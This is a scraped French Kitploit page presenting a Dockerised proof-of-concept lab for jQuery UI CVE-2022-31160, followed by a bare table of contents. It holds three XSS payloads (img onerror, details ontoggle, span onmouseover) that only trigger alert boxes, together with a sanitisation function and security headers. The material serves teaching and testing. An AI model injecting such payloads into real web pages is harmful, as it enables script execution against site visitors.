jquery-cve-2022-31160 — Preuve de concept (PoC) XSS jQuery | Kitploit

<!-- Contenu encodé sécurisé -->
<label for="checkbox">
  Texte &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- Après .checkboxradio("refresh") -->
<label for="checkbox">
  Texte 
  <input type="checkbox" id="checkbox">
</label>

# Cloner ou naviguer dans le répertoire du projet
cd jquery-cve-2022-31160

# Construire l'image Docker
docker build -t jquery-cve-2022-31160 .

# Exécuter le conteneur
docker run -p 3000:3000 jquery-cve-2022-31160

jquery-cve-2022-31160/
├── README.md                    # Cette documentation
├── Dockerfile                   # Configuration du conteneur Docker
├── package.json                 # Dépendances Node.js
├── server.js                    # Serveur Express.js
└── simplified-survey.html       # Démonstration type sondage

<!-- Sécurité réseau : XSS par événement d'erreur (exécution immédiate) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Sécurité mobile : XSS par basculement details (exécution immédiate) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Sécurité cloud : XSS interactif (interaction utilisateur requise) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Survoler pour déclencher]&lt;/span&gt;

# Exécution sur le port par défaut 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Exécution sur un port personnalisé
docker run -p 8080:3000 jquery-cve-2022-31160

# Exécution en arrière-plan
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Exécution avec un nom personnalisé
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

# Lister les conteneurs en cours d'exécution
docker ps

# Arrêter le conteneur
docker stop jquery-cve-2022-31160

# Supprimer le conteneur
docker rm jquery-cve-2022-31160

# Supprimer l'image
docker rmi jquery-cve-2022-31160

// Avant le rafraîchissement, désinfecter ou valider le contenu
function safeRefresh(element) {
    // Valider le contenu de l'étiquette avant le rafraîchissement
    const label = $(`label[for="${element.attr('id')}"]`);
    const content = label.html();
    
    // Vérifier la présence de contenu potentiellement dangereux
    if (content.includes('<') || content.includes('javascript:')) {
        console.warn('Contenu potentiellement dangereux détecté');
        return;
    }
    
    element.checkboxradio("refresh");
}

// En-têtes de sécurité Express.js
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    res.setHeader('Content-Security-Policy', "default-src 'self'");
    next();
});

jquery-cve-2022-31160

Populaires

Démonstration de la vulnérabilité CVE-2022-31160 de jQuery UI

🚨 Avertissement de sécurité

📋 Table des matières

🔍 Aperçu de la vulnérabilité

Détails de CVE-2022-31160

Cause racine

Vecteur d'attaque

🚀 Démarrage rapide

Prérequis

Construction et exécution

Accéder aux démonstrations

📁 Structure du projet

🎯 Démonstrations

1. Démo simplifiée du sondage (simplified-survey.html)

🔧 Détails techniques

Mécanisme de la vulnérabilité

Chemin de code affecté

Charges utiles de test

Méthodes d'exécution XSS

1. Gestionnaire d'événement d'erreur (onerror)

2. Gestionnaire d'événement de basculement details (ontoggle)

3. Gestionnaire d'événement de souris (onmouseover)

Pourquoi ces charges utiles fonctionnent

🐳 Utilisation de Docker

Construction de l'image

Exécution du conteneur

Gestion du conteneur

🔬 Analyse de sécurité

Évaluation de l'impact

Scénarios réels

Méthodes de détection

🛡️ Mitigation

Actions immédiates

Corrections de code

En-têtes de sécurité

📚 Valeur éducative

🔗 Références

📈 Liste de vérification des tests

Préparation avant test :

Test de vulnérabilité :

Vérification de l'analyse :

🤝 Contribuer

Domaines d'amélioration

⚖️ Avis de non-responsabilité légal

📄 Licence

1. Démo simplifiée du sondage (`simplified-survey.html`)

1. Gestionnaire d'événement d'erreur (`onerror`)

2. Gestionnaire d'événement de basculement details (`ontoggle`)

3. Gestionnaire d'événement de souris (`onmouseover`)